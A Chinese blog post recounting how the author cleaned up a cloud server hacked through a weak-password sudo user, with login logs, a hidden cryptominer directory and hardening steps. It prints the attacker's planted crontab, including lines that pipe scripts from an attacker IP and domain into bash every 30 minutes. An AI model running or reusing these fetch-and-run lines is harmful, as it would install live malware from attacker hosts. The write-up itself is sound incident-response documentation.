记一次服务器被黑的解决过程

寒江蓑笠翁大约 9 分钟问题记录

记一次服务器被黑的解决过程

只能说离谱,以后还是要多注意这方面的东西。


一大早起来,就看到腾讯云异常登录的通知,就大概明白是咋回事了,这是我在腾讯云上的一个轻量应用服务器,倒也算不上第一次被黑,上一次被黑的时候入侵者仅仅只是放了一个挖矿木马就没了,其它什么也没动。这一次不仅搞挖矿把服务器资源都跑满了,而且还把我root用户的ssh密钥都改了,一大早起来就得赶紧解决。这里放一张图,看看资源使用情况,基本上都已经爆满了。

原因

究其原因,是因为在前几天为了在服务器上搭建自用的gitea,创建了一个新用户git来跑服务,也就是此次异常登录的用户,当时给它添加到了sudo组,而且也忘记做远程登录限制,也没有ssh密钥,密码也是非常简单的123456,被暴力破解应该是轻而易举的,只是没想到睡一觉起来就G了,以后在这一块看来是一点都不能松懈。下面是截取的一部分登录尝试记录。

$ lastb | grep git
gitlab-p ssh:notty    2.59.254.244     Tue Sep 12 04:16 - 04:16  (00:00)
gitlab-p ssh:notty    94.156.161.32    Tue Sep 12 01:35 - 01:35  (00:00)
gitlab-p ssh:notty    94.156.161.32    Tue Sep 12 01:35 - 01:35  (00:00)
git      ssh:notty    94.156.161.32    Tue Sep 12 01:34 - 01:34  (00:00)
git      ssh:notty    94.156.161.32    Tue Sep 12 01:34 - 01:34  (00:00)
git      ssh:notty    94.156.161.32    Tue Sep 12 01:33 - 01:33  (00:00)
...

解决

首先是之前的用户都登陆不上去了,这里只能用服务器默认用户在腾讯云后台重置密码,密码重置完后,登陆到服务器上,top看一下

可以看到第一行xrx这个东西已经把cpu跑满了,内存也没剩下多少并且还多了一个cheeki用户。然后来看看这个玩意的运行路径

$ sudo ls -l /proc/19104/cwd
lrwxrwxrwx 1 root root 0 Sep 12 09:04 /proc/19104/cwd -> /root

再locate一下看看

$ locate xrx
/var/tmp/.xrx
/var/tmp/.xrx/chattr
/var/tmp/.xrx/config.json
/var/tmp/.xrx/init.sh
/var/tmp/.xrx/key
/var/tmp/.xrx/passwd
/var/tmp/.xrx/scp
/var/tmp/.xrx/uninstall.sh
/var/tmp/.xrx/xrx

其中这个ini.sh应该是被混淆过的,全是乱码,key文件和passwd可能是用来解码的。此时看下git用户的.bash_history都是我自己留下的记录,操作记录也是可以被隐藏的。目前root目录我是进不去的,直接把这个进程kill了也无济于事,一般来说会有定时任务来定时重启这些木马,查看系统定时任务,差不多就是特定的地方拉取脚本然后执行,并且在重启的时候还会后台运行这几个进程。

$ cat /etc/crontab
@daily root /var/tmp/.x/secure >/dev/null 2>&1 & disown  
@reboot root /var/tmp/.xrx/init.sh hide >/dev/null 2>&1 & disown  
1 * * * * root /var/tmp/.x/secure >/dev/null 2>&1 & disown  
*/30 * * * * root curl 179.43.142.41:1011/next | bash 
*/30 * * * * root curl load.whitesnake.church:1011/next | bash 

可以看到该文件修改时间就是凌晨一点,差不多就是我在睡觉的时候。

$ ls -l /etc/crontab
-rw-r--r-- 1 root root 305 Sep 12 01:36 /etc/crontab

差不多在同一时间,/etc/passwd文件也被修改了。

$ ls -l /etc/passwd
-rw-r--r-- 1 root root 2674 Sep 12 01:36 /etc/passwd

不幸的是,passwd命令也被掉包了,即便通过root权限,也无法直接修改用户的密码,而且我修改的密码可能会通过网络被上传到后台。

find /usr/bin/ -type f -mtime -3
/usr/bin/passwd

把盗版的passwd先删掉,然后用apt重新安装一个

$ rm -f /usr/bin/passwd
$ sudo apt reinstall passwd

后面的任务是拿到root账号,这里通过腾讯云后台提供的重置密码功能,把root账号的密码给重置了,然后用默认账户登录上去再切换到root,可以看到密钥已经被改了,修改时间也是凌晨

$ ls -l
total 12
-rwxr-xr-x 1 root root  388 Sep 12 01:35 authorized_keys
-rw------- 1 root root 2610 Apr  8 21:30 id_rsa
-rw-r--r-- 1 root root  573 Apr  8 21:30 id_rsa.pub

并且还上锁了,无法删除

rm authorized_keys
rm: cannot remove 'authorized_keys': Operation not permitted

尝试解锁后成功了,庆幸没有对方修改chattr命令。

ls -l chattr
-rwxr-xr-x 1 root root 14656 Jun  2  2022 chattr
chattr -iad authorized_keys

把所有密钥都删除,然后再删除木马文件和定时任务,然后再重启看看,是否恢复正常。

$ rm -rf /var/tmp/.xrx/
$ echo "" > /etc/crontab

删除之后的话基本上服务器占用就变正常了,为了彻底解决,这里把ssh的配置设置的更加严格一些,禁止密码登录,禁止root登录,修改ssh默认端口号。差不多后续就不会出什么问题了,除非有什么其它软件漏洞。下面是修改后的占用图,就是正常状态了。

下面是一些用到的文章

上次编辑于:
贡献者: 246859